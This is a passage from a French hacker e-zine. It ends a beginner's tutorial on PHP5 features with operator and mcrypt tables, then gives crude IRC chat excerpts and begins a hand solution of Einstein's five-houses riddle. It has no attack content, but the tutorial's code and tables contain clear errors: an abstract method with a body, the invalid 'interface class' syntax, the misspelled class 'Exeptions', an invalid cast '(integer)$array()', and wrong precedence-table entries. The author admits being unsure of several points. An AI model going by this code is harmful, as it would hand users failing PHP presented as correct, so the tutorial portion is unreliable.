de l'objet. Avec php5, cette norme est encore supportée, mais ils ont introduit
un système de constructeur / destructeur. Il suffit d'ajouter une fonction avec
le nom __construct()  pour que cette  fonction soit appelée  à chaque fois  que
l'objet est instancié. Vous pouvez  faire l'inverse (chaque fois que  la classe
finit sa routine) avec __destruct() pour détruire un objet explicitement.  Vous
devez affecter une nouvelle valeur (NULL ou unset:p) à toutes les variables qui
pointent  vers le  dit objet.  Vous pouvez  utiliser ces  fonctions comme  des
fonctions normales, à la seul différence qu'elles ne sont pas héritées par  les
classes "children",  vous pouvez  quand même  y accèder  à partir  d'une classe
parente comme ceci: parent::__construc();

Une autre function appelée __autoload($class). Elle permet de faire un  include
dynamique d'une class qu'on a tenté d'instancié, mais qui n'est pas définie. Si
la function __autoload($class) est présente dans votre classe, php va la nommer
d'après le nom  de la classe  non définie qui  à été appelée,  il ne reste qu'à
l'inclure..

<?
function __autoload($class) {
        include_once($class .".class.php");
}

# Admettons que j'appele une classe qui existe pas
$obj = new bleh;
echo $obj->test();

# php tentera de trouver le fichier bleh.class.php, dans le répertoire local.
?>

Php introduit un nouveau système  de classe abstraite.. mot assez  bien choisi.
C'est pas évident  de comprendre l'utilité..  Pour simplifier encore  un peu la
chose, l'auteur semble dire qu'il y a deux synthaxe pour le faire. Je donne  un
exemple avant d'essayer de l'expliquer.

<?
# Le mot "abstract" doit être ajouté devant "class"
abstract class convertir {

        # la function aussi doit être déclaré abstract, dans le livre l'auteur
        # déclare sa function comme ceci; abstract function getOutput();
        # mais j'ai lus sur le net que ceci serait aussi possible, je l'espère :p
                
                abstract function getOutput() {
                        echo  "La function getOutput doit etre déclaré dans votre objet";
                }

}

class html extends convertir {
        public function getOutput($i) {
                return "<p>". $i ."</p>";
        }
}
class xml extends convertir {
        public function getOutput($i) {
                return "<paragraph>". $i ."</paragraph>";
        }
}

class deficiante extends convertir{
        public function gimmeOutputMan($i) {
                return "<%". $i ."%>";
        }

}

$HTMLobj = new html;
echo $HTMLobj->getOutput("yo"); # retourne <p>yo</p>
$XMLobj = new xml;
echo $XMLobj->getOutput("sa"); # retourne <paragraph>sa</paragraph>
$INVALIDobj = new deficiante;
echo $INVALIDobj->gimmeOutputMan("sa"); # devrait retourner un erreur.

# si j'ai bien compris la même chose serait possible avec les mots "implements"
# et "interface" pour remplacer "extends" et "abstract"

interface class convertir {
        interface function getOutput();
}
class html implements convertir {
        public function getOutput($i) {
                return "<p>". $i ."</p>";
        }
}

# Bon, vous voyez le genre :p Y'a une chose que je n'ai pas vue et je me
# demande si c'est possible.. Si quelqu'un a la réponse, envoyez-moi un mail ;>

class maClasse extends monAutreClass implements monInterface {

}

?>

Il est  imposssile d'instancier  une classe  abstraite, elle  sert seulement de
"référence" pour la construction  de classes similaires.. Selon  l'auteur, pour
travailler  de  façon efficace  avec  les objets,  leur  interface doit  rester
similaire  d'une class  à l'autres.  Si je  comprends bien,  il faut  seulement
nommer les function de  bases comme ceux pour  les entrées/sorties de la  class
avec le même nom. Les classes abstraites ou interfaces, servent à s'assurer que
les class  qui l'utilisent  répondent à  certaines exigeances.  J'aimerais être
plus sur  de moi  à ce  sujet, mais  l'auteur n'est  pas clair  la-dessus.  Son
exemple  est  ambigue..  Mais  bon,  j'élaborerai  peut-être  un  jours,  quand
j'utiliserai cette feature la.. Si je comprends bien, c'est surtout utile  dans
de  "vraiments"  gros  projets ou  plusieurs  classes  similaires doivent  être
dévloppées par plusieurs personnes.. Donc  ca peut prendre un moment  avant que
ca me soit vraiment utile :) Mais j'ai l'intention de m'en servir pour au moins
un de mes projets.


Les functions Try, trow et catch

C'est un  principe nouveau  pour moi.  Ce que  j'en comprends  est que c'est un
système implanté dans le but d'aider à gérer les erreurs (appelées exeptions) à
l'intérieur d'une  classe, au  lieu d'envoyer  un erreur  au browser.  Je crois
qu'il est important de ne pas  confondre ces fonctions avec le système  d'error
handling déjà implanté dans PHP4. Ses fonctions sont utiles dans le cadre d'une
programmation OO. Un exemple vaut toujours 4.02387260077094e+2567 mots :p .. Si
vous programmez java, vous serez famillié avec ca.

<?
# La classe Exeptions est une classe interne qui revoit des informations à
# propos de l'exeptions..
class rhume extends Exeptions {
        # Nous devons donner une variable à l'exeption que nous désirer
        # "attraper" ..
        public $morve;
        
        public function __construct($morve) {
                parent::Exeption();
                $this->morve = $morve;
        }
}
# Essayons d'attrapper un rhume.
$morve = "jaune";
$morve = "vert";
$morve = "bleu";
$morve = "rouge";

# Si je comprends bien, try sert à contenir les exeptions, dans le livre
# l'auteur utilise des if pour déclencher une exeptions, mais je présume
# que c'est aussi valide avec un switch.. Le contraire serait vraiment stupide.
try {
        switch($morve) {
                case 'bleu':
                throw new rhume("Votre morve est gelée.");
                break;
                case 'rouge':
                throw new rhume("Ce n'est pas un rhume c'est le virus du nil.");
                break;
        }
        echo $morve;
}
catch(rhume $exeption) {
        echo "<b>Désolé vous n'avez pas le rhume, car: ". $exeption->morve ."</b><br />";
        echo "<i>Fichier: ". $exeption->file() .", ligne: ". $exeption->line() ."</i>";
}

# Cette partie la semble servir a catcher tout les autre exeptions ne se
# rapportant pas à rhume. La seule utilité que je peux y voir, c'est un
# generic throw catch systeme pour un ensemble de classes. Mais je ne suis
# pas certain de comprendre a 100% ce bout-la.

catch(Exeption $exeption) {
        # autre exeption d'intercepté
        echo "<b>Exeption interceptée dans:"</b><br />";
        echo "<i>Fichier: ". $exeption->file() .", ligne: ". $exeption->line() ."</i>";
}

?>


Php supporte une nouvelle méthode pour transformer la nature d'une variable, on
appele ca le typecasting , ou le transtypage en français .. urk. Grace à ça  on
peut transformer une  variable string en  array, ou object  et vice versa..  ca
l'air plus compliqué que ca l'est :p En réalité, ca peut être assez  pratique..
Surtout pour un peu d'optimisation :>

<?
# typecasting d'un array
$array = array("hello"=>"world","salut"=>"monde");
# en string
$str = (string)$array;  # va retourner Array
# en objet
$obj = (object)$array; # $obj->hello va retourner world
# en entier
$int = (integer)$array(); # va retourner 1

?>


Outro
------

Une chose que je veux eclaircir.. moi et __2 regardant un code php de  northox,
on se demandait pour quelle  raison, apparament illogique, il avait  utilisé un
OR  au  lieu d'un  ||  dans une  opération  if ..  La  seule chose  dont  je me
rappellait c'etait  que les  deux étaient  valides, mais  n'avaient pas la même
priorité. J'ai trouvé  l'explication plus tard  dans mon livre.  Voiçi un petit
tableau des priorités, lequel est utilisé par le Zend Engine pour déterminer la
priorité des opérations (exactement comme un math .. 2 + 2 * 4 = 10). Et à bien
y  penser c'est  logique, l'engine  doit savoir  dans quelle  priorité il  doit
exécuter   les   instructions,   au   primaire   on   nous   montre   que    la
multiplication/division on priorité sur l'addition/soustraction, pour  d'autres
opérations c'est moin évident.. 


Les opérateurs et leur priorité..
------------------------------------
______________________________________________________________________________
| Priorité      Opérateur               Opération              Associativité  |
°-----------------------------------------------------------------------------°
| 1             !                       NON logique                    Droite |
| 1             ~                       NON binaire                           |
| 1             ++                      Incrémentation                        |
| 1             --                      Décrémentation                        |
| 1             @                       Opérateur de silence                  |
| 1             (int)                   Transtypage* vers entier              |
| 1             (float)                 Transtypage* vers flottant            |
| 1             (string)                Transtypage* vers chaine              |
| 1             (bool)                  Boolean cast                          |
| 1             (array)                 Array cast                            |
| 1             (object)                Object cast                           |
°-----------------------------------------------------------------------------°
| 2             *                       Multiplication                 Gauche |
| 2             /                       Division                              |
| 2             %                       Modulo                                |
°-----------------------------------------------------------------------------°
| 3             +                       Addition                       Gauche |
| 3             -                       Soustraction                          |
| 3             .                       Concaténation                         |
°-----------------------------------------------------------------------------°
| 4             >>                      Décalage binaire à droite      Gauche |
| 4             <<                      Décalage binaire à gauche             |
°-----------------------------------------------------------------------------°
| 5             <                       Plus petit                      N/A** |
| 5             <=                      Plus petit ou égale                   |
| 5             >                       Plus grand                            |
| 5             =>                      Plus grand ou égal                    |
°-----------------------------------------------------------------------------°
| 6             ==                      égal                           Gauche |
| 6             !=                      n'est pas égal                        |
| 6             ===                     identique                             |
| 6             !==                     non identique                         |
°-----------------------------------------------------------------------------°
| 7             &&                      ET logique                     Gauche |
°-----------------------------------------------------------------------------°
| 8             ||                      OU logique                     Gauche |
°-----------------------------------------------------------------------------°
| 9             ? :                     Évaluation conditionnelle      Gauche |
°-----------------------------------------------------------------------------°
| 10            =                       Affectation de valeur          Droite |
| 10            =&                      Affectation d'addresse                |
| 10            +=                      Addition/affectation                  |       
| 10            -=                      Soustractio/affectation               |               
| 10            *=                      Multiplication/affectation            |
| 10            /=                      Division/affectation                  |
| 10            %=                      Modulo/affectation                    |
| 10            ^=                      XOR/affectation                       |
| 10            &=                      ET/affectation                        |
| 10            |=                      ET/affectation                        |
| 10            .=                      Concaténation/affectation             |                                       
°-----------------------------------------------------------------------------°
| 11            AND                     Et logique                     Gauche |
°-----------------------------------------------------------------------------°
| 12            XOR                     XOR logique                    Gauche |
°-----------------------------------------------------------------------------°
| 13            OR                      OU logique                     Gauche |
°-----------------------------------------------------------------------------°
|  * typecasting en anglais..                                                 |
| ** Non Associatif                                                           |
°-----------------------------------------------------------------------------°
(Il y a une erreur à la page 50, l'auteur utilise "|||" au lieu de "||" dans
la colone des opérateurs pour exprimer un "OU" logique :> )


une chose m'à marquer.. le nombre d'encryptations supportés par php :)

  ______________________________________________________________________________________________________
 | Argument                                     Description                                             |
 °------------------------------------------------------------------------------------------------------°
 |      MCRYPT_3DES                             Triple-DES                                              |
 |      MCRYPT_ARCFOUR                          RC4                                                     |
 |      MCRYPT_ARCFOUR_IV                       RC4 avec vecteur d'initialisation                       |
 |      MCRYPT_BLOWFISH                         Blowfish                                                |
 |      MCRYPT_CAST_128                         CAST avec la clés 128bits                               |
 |      MCRYPT_CAST_256                         CAST avec la clés 256bits                               |
 |      MCRYPT_CRYPT                            Codage standard de crypt() (standard DES)               |
 |      MCRYPT_DES                              DES                                                     |
 |      MCRYPT_GOST                             GOST (algorythme de cryptage soviétique.. dah)          |
 |      MCRYPT_IDEA                             IDEA (International Data Encryptation Algorythme)       |
 |      MCRYPT_LOKI97                           LOKI97 (128bits)                                        |
 |      MCRYPT_MARS                             Chiffrement MARS d'IBM                                  |
 |      MCRYPT_PANAMA                           Panama                                                  |
 |      MCRYPT_RC2                              RC2                                                     |
 |      MCRYPT_RC6                              RC6                                                     |
 |      MCRYPT_RIJNDAEL_128                     Rijndael 128bits                                        |
 |      MCRYPT_RIJNDAEL_192                     Rijndael 192bits                                        |
 |      MCRYPT_RIJNDAEL_256                     Rijndael 256bits                                        |
 |      MCRYPT_SAFERPLUS                        Secure And Fast Encryption Routine + (?bits)            |
 |      MCRYPT_SAFER64                          Secure And Fast Encryption Routine (64bits)             |
 |      MCRYPT_SAFER128                         Secure And Fast Encryption Routine (128bits)            |
 |      MCRYPT_SERPENT                          Serpent                                                 |
 |      MCRYPT_SKIPJACK                         Skipjack (chiffrement du circuit Clipper .. no idea)    |
 |      MCRYPT_THREEWAY                         3-Way                                                   |
 |      MCRYPT_TRIPLEDES                        Triple-DES (Surement un alias de _3DES ..)              |
 |      MCRYPT_TWOFISH                          Twofish                                                 |
 |      MCRYPT_WAKE                             WAKE                                                    |
 |      MCRYPT_XTEA                             xTEA, extension de Tiny Encryption Algorythm            |
 |_____________________________________________________________________________________________________/
 | Mode de cryptage                                                                                     |
 °------------------------------------------------------------------------------------------------------°
 |      MCRYPT_MODE_ECB                         Elictronic codebook                                     |
 |      MCRYPT_MODE_CBC                         Cipher block chaining                                   |
 |      MCRYPT_MODE_CFB                         Cipher feedback                                         |
 |      MCRYPT_MODE_OFB                         Output feedback, 8-bit                                  |
 |      MCRYPT_MODE_NOFB                        Output feedback, variable block size                    |
 |      MCRYPT_MODE_STREAM                      Elictronic codebook                                     |
 |      MCRYPT_MODE_STREAM                      Stram                                                   |
 °------------------------------------------------------------------------------------------------------°

C'est  pas  mal tout  le  temps que  j'avais..  j'aurais aimé  couvrir  plus de
nouveauté, mais  bon, je  vais laisser  de la  place à  une éventuelle suite :)
J'espère que ca vous a aider à comprendre les pincipales différences entre php4
et 5.

Quelques éléments que je  n'ai pas abordés et  que je risque d'aborder  dans un
prochain article. Si vous avez des  demandes spéciales, je vais voir ce  que je
peux faire.
  - static & dynamic bindings
  - overloading
  - object sérialisation
  - namespaces
 


.----------------------------------------------- - - --- - ---
| h3   [h3 at mindkind dot org]  www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



  < Mindkind various tales from IRC >

  <Mouton> Veux tu du pote
  <HolyGod> sa dpend
  <HolyGod> vends-tu au policier?
  * Mouton (~y.marchan@122-66-136.al.cgocable.ca) Quit (Read error: EOF from client)

  [01:08] <__2> hey cest insipide a vouloir se tuer EPIC 
  [01:08] <g463> c quoi ca veut dire ca insipide
  [01:08] <__2> vide de tout interet
  [01:09] <__2> vu que jsais pas trop comment faire du multichan jsuis pogner icitte
  [01:09] <__2> pis ca parle de constitution, d'anti-etablishment, de visio pis de dick

  [13:16] <g463> ya hacker la grc y sont venu avec des guns chez eux ya perdu une main dans l'enlevement 
  [13:16] <g463> et la y peut pus taper
  [13:16] <g463> sur son compu
  [13:16] <g463> ye rendu avec un faux bras électronique

  [21:55] <blk_ice> faque ca va etre le retour au bon vieux pr0n :)
  [21:55] <lastcall_> haha
  [21:55] <lastcall_> PR0N
  [21:55] <lastcall_> la seule chose qui te laisse pas tomber
  [21:55] <lastcall_> hahaha
  [21:55] <blk_ice> hahahhaha

  [22:52] <phawnky> L'humain  a beaucoup de  choses a apprendre  de mere nature,
                    toute la critique, pis a sens calisse depuis des millenaire,
                    et y pleu encore esti.

  < ----------------------- >




    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.09  Einstein et les 5 nains
:                              aka 'l'enigme'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

-----------------IMPORTANT--------------------------------------------
REMARQUE: VOUS  TROUVEREZ  ICI  LA   PREMIERE  PARTIE  DE   L'ARTICLE
          (CELLE DE LA RESOLUTION MANUELLE)  ET LA PROCHAIN  DANS  LE
          NUMERO 110 DE MINDKIND, MERCI DE VOTRE PATIENTE  ;)
----------------Fin de la chose importante----------------------------



Disclamer:
Je  suis  et  le publicateur de  ce document  non-responsable  dans tout cas de 
endommagement de votre cerveau ( cas  courrament  appelé Brain Damage) ou autre 
organe de votre corp . merci de votre compréhension             


      .-----------.    .------------.    |\
      | J'accepte |    | Je refuse  |    |_\
      '-----------'    '------------'     \\   <--c'est un pointeur 
                                                   de souris

                                                   
Remarque:                                        
Désactiver l'option  des wrap by  caracters, page et Window  avant de commencer 
a  lire  l'article, (  le wrap est le  saut  de  lignes automatiques), vous  la  
trouverez  normalement dans le menu affichage Cet article a été écris dans  une 
résolution de 800*600 . Cet article est  sponsorisé par Marlboro, Dunhill, Pall 
Mall,  Danone  Whinfield,  Rothmanns ,Lipton et La  Maison  Blanche . (ils sont
tous des marques deposés) 

                                                                                              
                                                XXXxx,,_      _,,xxXXX                        
                                                XXXXXXXXXXXXXXXXXXXXXX                        
 XXXXXXXXXXX     ##                                      XXXX                                 
XXXXXXXXXXXXX                                  XXX       XXXX    XXXXXXXX        XXX    XXXX  
XXX             XXXX    XXXX     XXXXX      XXXXXXXXX    XXXX   XXXXXXXXXX XXXXX XXX   XXXXX  
 XXX            XXXX    XXXX    XXXXXX    XXXXX          XXXX    XXX        XXX  XXX  XX XXX  
  XXXX          XXXX    XXXX  XXXX XXX      XXXXXX       XXXX     XXX       XXX  XXX XX  XXX  
 XXX            XXXX    XXXX XXXX  XXX         XXXXXX    XXXX    XXX        XXX  XXXX    XXX  
XXX             XXXX    XXXXXX     XXX          XXXX     XXXX   XXXXXXXXXX  XXX               
 XXXXXXXXXXX    XXXX    XXXX       XXX    XXXXXXXXX      XXXX    XXXXXXXX   XXX               
  XXXXXXXX                                                                 XXXXX              
                                                                                              
                                                                                              
                  XXXXXXXXXXXX                                                                
                  XXXXXXXXXXXX                                                                
                  XXXX        XXxx,,_,,xxXX                                                   
                  XXXXXXXX    XXXXXXXXXXXXX                                                   
                  XXXX             XXX                                                        
                  XXXXXXXXXXXX     XXX                                                        
                  XXXXXXXXXXXX     XXX                                                        
                                   XXX                                                        
                                  xXXXx                                                       
                                                                                              
                                                                                              
   XX     XXXXX XXXXXX     ' c3c1555 '     XXX   XX    XXXXX   XXXX  XXX   XX  SSSSSS         
   XX     X     X            35t           XX X  XX   XX   XX   XX   XX X  XX  SS (fumeurs ?) 
   XX     XXX   XXXXXX          un5        XX  X XX   XXXXXXX   XX   XX  X XX  SSSSSS         
   XX     X          X           55        XX   XXX   XX   XX   XX   XX   XXX      SS         
   XXXXXX XXXXX XXXXXX     c1nq555         XX    XX   XX   XX  XXXX  XX    XX  SSSSSS         
                                                                                              
                                                                  Paint By <SeriousMan>       
                                                                  Rq:Essayez de trouver       
                                                                  les messages stenatographier
                                                                  dans l'article              
                                                                                              
                                                                                              
                                                                                              
                                                                                              
1-trop-d'uccion:                                                                              
                                                                                              
Exit  light                                                                                   
Enter night
Take my hand
We're off to the MindkindLand

Lyrics de:
__Mindallica, Enter KindLand
=====================================================================
Bonsoir, 
->ici<- commence le reste de votre vie,
mais sera t'il comme le precedant ?
verrez-vous les choses comme avant ?
entendrez-vous les sons de la même maniere qu'avant ?
senterez-vous les odeurs comme avant ?
d'abord, ce reste existera t'il ?
mais tout ceci n'a aucune valeur,
parceque VOUS, N'AVEZ AUCUNE VALEUR,
regarder vous en mirroir...
examiner...
reflechisser...
oui...
c'est ca...
vous le savez maintenant...
vous l'admettez...
VOUS N'ETES RIEN...
mais, vous pouvez changer cela...
vous pouvez revolutioner tout...
vous pouvez devenir celui...
vous pouvez cassez le rythme..
vous le savez...
vous y croyez....
suffit juste de reflechir...
de reflechir un peu...
un ptit peu...
puis agir...
pour revolutioner le tout...
pour devenir le meilleur...
===============================================================================
Be the best , or die with the rest
===============================================================================
oups  mon  chat  jouer  avec  le  clavier  ;) dsl pour ce derangement (ca ne se 
reproduirai pas , je vous l'assure), il est fou ce chat!!!!!!!!!!!

rrrrrhh....bon , de koi allons nous parlez dans les prochaines lignes  et  bah, 
c'est une idee qui m'est venue un matin , dans la station de vroum..vroum, oups 
de bus,j'etait en train de parler avec quelque amis au  sujet  des enigmes &co, 
puis un gars a parler d'une enigme  faite par  le  plus  intelligent des hommes 
au monde(ce sont ces mots) einstein ou  il prétendait que 98 % de la population 
mondiale  était  incapable  de  totalement resoudre ce probléme , et plop , une  
idée venez de naïtre in my mind , est ce qu'on pourrez faire du code qui resous 
une enigme ou plus precisement  cette  enigme , l'enigme d'einstein et les cinq
nains (c'est moi qui la nomme ainsi :).

Premierement lisons le texte de l'enigme:

==========================================
1) Soient cinq maisons de couleurs différentes
2) Chaque maison est habitée par une personne de nationalité différente
3) Chaque habitant a une boisson préférée, une marque de   cigarettes
   préférée, et possède un animal de compagnie préféré
4) Aucune des cinq personnes n’a une chose en commun

QUESTION : Laquelle de ces personnes possède un poisson ?
Indices :
- L’Anglais vit dans la maison rouge
- Le Suédois a un chien
- Le Danois boit du thé
- La maison verte est située à gauche de la maison blanche
- Le propriétaire de la maison verte boit du café
- Le fumeur de Pall Mall a un oiseau
- Le propriétaire de la maison du milieu boit du lait
- Le propriétaire de la maison jaune fume des Dunhill
- Le Norvégien habite dans la première maison
- Le fumeur de Marlboro habite à côté de celui qui a un chat
- Celui qui a un cheval habite à côté du fumeur de Dunhill
- Le fumeur de Whinfield boit de la bière
- Le Norvégien habite à côté de la maison bleue
- L’Allemand fume des Rothmanns
- Le fumeur de Marlboro a un voisin qui boit de l’eau.

Einstein, qui a conçu cette énigme au siècle dernier , prétendait que 98% de la 
population mondiale était incapable de résoudre ce problème.
==========================================

pas facile,non ;)


Bon maintenant voici comment on va proceder : 
-Une premiére partie ou on essayera de resoudre l'enigme manuellement
-Une  deuxieme  partie  ou  on  essayera  de  faire  un  script  en php pour la 
 resolution de l'enigme (j'utilisera le php parceque :
 1/c'est  un language facile a apprendre et plus  facile a comprendre
 2/j'ai fait un ptit tutorial sur ce language et sa serai une   bonne  idée  de 
   continuer ici )


Rq: Vous avez ptet remarquer les 'essayera' dans mes phrases , c'est simplement  
    parce que je n'ai toujours pas commence ni la resolution  de l'enigme ni la 
    programmation du resolutionneur , donc il  sera  tres  propable  que  je ne 
    reussice l'un des deux (mais normalement si vous lisez ces lignes c'est que 
    j'ai reussi ;)

REMARQUE: VOUS  TROUVEREZ  ICI  LA   PREMIERE  PARTIE  DE   L'ARTICLE (CELLE DE 
          LA RESOLUTION MANUELLE)  ET  LA  PROCHAIN   DANS  LE  NUMERO  110  DE 
          MINDKIND, MERCI DE VOTRE PATIENTE  ;)
          
          
Bonne lecture

ps:  c'etait peu-etre  facile pour la revolution mais ca ne serez pas  pour les 
suivantes , car eux  ils  n'existeront pas , pour des  raisons  de  materielles 
(linguistiques ;)


   111111        ////                    ######
 11111111       ////                     ######
1111 1111      ////                      ######
     1111     //// La Methode Manuelle 
     1111    ////                        ######
   11111111 ////                         ######
   11111111////                          ######


A-Preparation:

Bon, pour preparer ce qu'il vs faut c'est :
-une copie imprimer de l'enigme
-plain de feuilles
-un brain
-un stylo encre
-une zic en arriere plan (càd pas de pantra, marilyn&co) mais   plutot  musique 
 classic (si vous aimer) , ou autre mais de  preference  sans  parole( pour mon 
 cas j'ai fait une  ptite playlist  avec  les  quelques  songs  instrumental de 
 Metallica ( The call of ktulu , Anasthesia et  orion  pour  ne pas les nommés) 
 quelques unes de evanescence ,de  Muse de michelle  branch  et  de  cranberies
 (quelque Red Hot Chili Peppers ne font pas de mal ;) .
 (conclusion: playlist depasses mais peu faire l'affaire)


ca y'est il ne reste qu'a commencé :)

B-Comment j'ai fait:


Bon au  commencement ce  que j'ai fait c'est  chercher  les noms  des  animaux, 
cigarettes, boissons et couleurs de maison ,voici la liste :

Couleurs:     blanc, vert, rouge, bleu et jaune
Cigarettes:   Marlboro, Whinfield, Rothmanns, Pall Mall et Dunhill
Boissons:     eau, lait, café, bierre et thé
Nationalités: Danois, Suédois, Allemend, Anglais et Norvégien



puis j'ai dessiner un shema comme ceci :

+------------+ +------------+ +------------+ +------------+ +------------+
|  couleur   | |  couleur   | |  couleur   | |  couleur   | |  couleur   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  propriéter    propriéter      propriéter     propriéter     propriéter
  boisson       boisson         boisson        boisson        boisson
  cigarette     cigarette       cigarette      cigarette      cigarette
  animal        animal          animal         animal         animal



bon pour commencer on a :

"Le Norvégien habite dans la première maison" et "Le Norvégien habite à côté de 
la maison bleue" et comme la premier maison n'a  qu'un seul  voisin (celui a ca 
droite) donc le dessin sera comme ca :

+------------+ +------------+ +------------+ +------------+ +------------+
|  *******   | |  bleu      | |  *******   | |  *******   | |  *******   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        *******        *******        *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******


en suite on a : 
"Le propriétaire de la maison verte boit du café "et  "Le  propriétaire  de  la 
maison du milieu boit du lait" ==>[la maison verte n'est pas au milieu]

puis on a le fameux: "La maison verte est située à gauche de la maison blanche"

        +------------+ +------------+ 
  ...   |  vert      | |  blanche   |   ...
        |            | |            | 
        +------------+ +------------+ 
          gauche <---   ---> droite

et comme la maison verte :
- ne peut pas être la première car celle de sa droite est bleu
- ne peut pas être la 2eme parce que elle est bleu :)
- ne  peut  pas  être  la  3eme  parce  que  celui de celle la boit du lait  au 
  contraire de celui de la verte qui préfère le café)
- ne peut pas être la 5eme car elle n'aura pas un voisin de droite  et donc pas 
  de Blanchette a ça droite

==> [elle est la 4eme maison]
==> [la maison blanche est la 5eme]

voyons a quoi ressemble notre dessin après ses découvertes :


+------------+ +------------+ +------------+ +------------+ +------------+
|  *******   | |  bleu      | |  *******   | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        *******        *******        *******
  *******        *******        lait           café           *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******


Reste  plus  que  trouvé  la  place de la maison rouge et la jaune ,ici il faut
réfléchir un peu ;) , mais en fin on  trouve que  c'est  pas  si difficile,  on 
avait deux choix :


+------------+ +------------+ +------------+ +------------+ +------------+
|  Rouge     | |  bleu      | |  Jaune     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        *******        *******        *******
  *******        *******        lait           café           *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******

ce qui est impossible car :
-"L’Anglais vit dans la maison rouge"

donc la bonne réponse est celle la :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        Anglais        *******        *******
  *******        *******        lait           café           *******
  *******        *******        *******        *******        *******
  *******        *******        *******        *******        *******

bon pour faciliter notre tache en barre les indices qui ne serve  plus et c'est 
ça ce qui nous reste :

- Le Suédois a un chien.
- Le Danois boit du thé.
- Le fumeur de Pall Mall a un oiseau.
- Le propriétaire de la maison jaune fume des Dunhill
- Le fumeur de Marlboro habite à côté de celui qui a un chat.
- Celui qui a un cheval habite à côté du fumeur de Dunhill
- Le fumeur de Whinfield boit de la bière.
- L’Allemand fume des Rothmanns.
- Le fumeur de Marlboro a un voisin qui boit de l’eau.

première réaction : " Le  propriétaire  de la maison jaune  fume  des  Dunhill" 
et"Celui qui a un cheval habite à côté du fumeur de Dunhill"
==>[ le Norvégien fume du Dunhill ] et  [son seul voisin (celui  de  la  maison 
bleu) a un cheval].

donc ça devient comme ça :

+------------+ +------------+ +------------+ +------------+ +------------+
|  Jaune     | |  bleu      | |  rouge     | |  verte     | |  blanche   |
|            | |            | |            | |            | |            |
+------------+ +------------+ +------------+ +------------+ +------------+
  Norvégien      *******        Anglais        *******        *******
  *******        *******        lait           café           *******
  Dunhill        *******        *******        *******        *******
  *******        cheval         *******        *******        *******


now, c la partie plus difficile de l'énigme :
première chose , on révise nos donnés :

- Le Suédois a un chien.
- Le Danois boit du thé.
- Le fumeur de Pall Mall a un oiseau.
- Le fumeur de Marlboro habite à côté de celui qui a un chat.
- Le fumeur de Whinfield boit de la bière.
- L’Allemand fume des Rothmanns.
- Le fumeur de Marlboro a un voisin qui boit de l’eau.

l'idée principale ici , c'est l'exclusion :
pour avoir des informations sur  une personne ou une chose  on  exclu les faits 
impossibles , si on a 4 faits  impossible pour une personne  donc  la  5eme est 
vrai , par exemple (non-reel):
- on cherche dans les indices et on trouve que monsieur l'anglais  ne  boit  ni 
  la bière, ni l'eau , ni le café , ni le lait donc on conclu qu'il boit du thé 
  (J'INSISTE QUE CE N'EST PAS VRAI , CE N'EST QU'UN EXAMPLE)

j'ai commence par avoir des infos sur l'allemand :
comme il fume de Rothmanns il n'a pas de oiseau ni un chien non plus (celui qui 
l'a est le suédois) , il ne boit pas de bière ("Le fumeur  de Whinfield boit de 
la bière"), ni du lait ( c'est l'anglais qui le boit) 

----
:( déception ): 
----

mais  bon  on n 'a  que  chercher  ailleurs , par  exemple chez le danois et le 
suédois :)

pour le Danois c'est ce que j'ai trouver :
(le résultat est de la forme "cause=>résultat")
-"L’Allemand fume des Rothmanns"=> ne fume pas de Rothmanns.
-"Le Danois boit du thé"&&"Le fumeur de Whinfield boit de la bière"=>
 [ne fume pas de Whinfield.]
-[le Norvégien fume du Dunhill]=> ne fume pas du Dunhill.

et pour le suédois:
-"L’Allemand fume des Rothmanns"=> ne fume pas de Rothmanns.
-[le Norvégien fume du Dunhill]=> ne fume pas du Dunhill.
-"Le Suédois a un chien"&&"Le fumeur de Pall Mall a un oiseau" ==> ne
 fume pas de Pall Mall



comme  vous voyez, tout les deux (le Suédois et le Danois) ne fume pas 3 marque 
de cigarettes , donc il reste juste de nier qu'un d'eux fume  un  autre  marque 
pour qu'on découvre ce qu'il fume vraiment :) mais ici on a deux problèmes :

1/Laquelle ?
2/Comment ?

les Réponses sont :
1/Marlboro , oui Marlboro ,vous vous demandez pourquoi?, ba simplement  car  un, 
  on a deux  indices  qui parle  de Marlboro , deux Marlboro c'est pas bien pour 
  la santé et en  plus c'est pour les gars dans les Western pas pour les Suédois 
  ni des mangeurs de Danettes :)

2/Comment ? , bonne question :) 

on  voit  vite  que  c'est pas un "easy job" car aucune des deux indices sur le 
Marlboro , n'est directe ,c'est a dire que les 2 sont relative  par rapport des 
voisins , mais voyons ses deux la:

- Le fumeur de Marlboro habite à côté de celui qui a un chat.
- Le fumeur de Marlboro a un voisin qui boit de l’eau.

donc pour montrer que le Danois ou le Suédois ne fume pas du  Hashish oups!! du 
Marlboro  il  faut  montrer  qu'ils  n'ont  pas  de  voisin  buveur de l'eau ou 
zoophile (qui le font avec les chat)

bon,  après  un  ptit  essaie  pour  le  Danois on voit qu'il est impossible de
montrer ceci , donc on saute vers le suédois ('vers'  pas  'sur', et  oui, chez 
nous y'a pas d'homo  ( ma connaissance :) ) 

Première chose a faire c'est de voir ou peut le Suédois s'installer : (je  sais 
que le shema vous manque)


                           (1)ici__       ou                 (2)ici
                                   )                             |
                                   |                             |
                                   \                             |
                                     \                           |
                                       \                         |
                                         \_______,               |
                                                 |               |
                                                 |               |
                                                \|/             \|/
                                                 *               *     
